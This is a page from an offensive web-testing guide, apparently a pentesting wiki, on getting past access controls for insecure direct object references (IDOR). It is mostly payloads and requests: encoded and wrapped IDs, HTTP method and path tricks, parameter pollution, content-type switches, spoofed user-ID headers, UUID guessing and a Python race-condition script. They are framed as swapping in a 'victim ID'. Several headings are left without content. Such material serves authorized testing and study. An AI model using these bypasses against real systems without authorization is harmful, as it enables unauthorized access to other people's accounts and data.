IDOR Bypasses¶
Your ID swap is blocked. Here's how to get around it.
ID Format Manipulation¶
Encoding Variations¶
# Different encodings of same ID
id=123
id=00123 # Zero-padded
id=0x7B # Hex
id=0173 # Octal (careful with leading zeros)
id=%31%32%33 # URL encoded
id=MTIz # Base64
Negative Numbers¶
Array Syntax¶
Object Wrapping¶
// Original
{"id": "123"}
// Try wrapping
{"id": {"value": "123"}}
{"id": ["123"]}
{"user": {"id": "123"}}
{"data": {"id": "123"}}
HTTP Method Variations¶
GET /users/124 → 403 Forbidden
POST /users/124 → 200 OK?
PUT /users/124 → 200 OK?
PATCH /users/124 → 200 OK?
DELETE /users/124 → 200 OK?
# Or with method override
GET /users/124
X-HTTP-Method-Override: PUT
Endpoint Variations¶
Version Rollback¶
Path Variations¶
/api/users/124 → 403
/api/users/124/ → 200? # Trailing slash
/api/users/124.json → 200? # Extension
/api/users/./124 → 200? # Dot segment
/api/users/123/../124 → 200? # Path traversal
/API/Users/124 → 200? # Case variation
URL Encoding¶
/api/users/124
/api/users/%31%32%34 # URL encoded
/api/users/124%00 # Null byte
/api/users/124%20 # Trailing space
Parameter Location¶
Move Between Locations¶
# Query string blocked, body allowed
GET /api/user?id=123 → blocked
POST /api/user
{"id": 123} → allowed
# Header-based
GET /api/user
X-User-Id: 123
# Cookie-based
Cookie: userId=123
Parameter Pollution¶
# Multiple params - server might use last one
?id=123&id=124
# Or first one
?id=124&id=123
# Mixed locations
?id=123 (blocked)
POST body: {"id": 124} (used)
Content-Type Manipulation¶
# From JSON to form
Content-Type: application/json
{"user_id": 123}
# To form-urlencoded
Content-Type: application/x-www-form-urlencoded
user_id=123
# To multipart
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="user_id"
123
--boundary--
# To XML
Content-Type: application/xml
<request><user_id>123</user_id></request>
Add/Swap IDs¶
Add Your Own ID¶
Sometimes having both IDs bypasses checks (system uses my_id for auth, victim_id for action).
Swap Nested IDs¶
// Original
{
"user": {"id": 123},
"target": {"id": 123}
}
// Try
{
"user": {"id": 123}, # Your ID (auth)
"target": {"id": 124} # Victim ID (action)
}
GraphQL Bypasses¶
Field-Level IDOR¶
Alias Abuse¶
Mutation IDOR¶
Timing/Race Conditions¶
TOCTOU (Time-of-Check vs Time-of-Use)¶
# Send legitimate request
# Quickly follow with modified ID before check completes
import threading
def legit():
requests.get("/api/users/123", headers=auth)
def exploit():
requests.get("/api/users/124", headers=auth)
# Race them
t1 = threading.Thread(target=legit)
t2 = threading.Thread(target=exploit)
t1.start()
t2.start()
Wildcard/Glob Patterns¶
Case Sensitivity¶
UUID Manipulation¶
Version Confusion¶
# UUID v1 (timestamp-based) may be predictable
# Extract timestamp, increment, regenerate
# UUID v4 (random) - try harvesting from:
- Other API responses
- Error messages
- Public profiles
- WebSocket messages
Format Variations¶
550e8400-e29b-41d4-a716-446655440000
550E8400-E29B-41D4-A716-446655440000 # Uppercase
550e8400e29b41d4a716446655440000 # No dashes
{550e8400-e29b-41d4-a716-446655440000} # With braces
Header Injection¶
GET /api/users/me HTTP/1.1
X-Original-User-Id: 124
X-Forwarded-User: 124
X-User-Id: 124
X-Custom-User-Id: 124
Some apps trust internal headers for user identification.
Cookie Manipulation¶
Test which cookie actually controls authorization.
Bypass Checklist¶
- ID format manipulation (encoding, padding, negative)
- Array syntax (
id[]) - Object wrapping
- HTTP method variations
- API version rollback
- Path variations (trailing slash, extension)
- Parameter location (query, body, header, cookie)
- Content-Type manipulation
- Add both IDs (yours + victim's)
- GraphQL field-level IDOR
- Race conditions
- Case variations
- Header injection
Bypass working? Move to Escalation.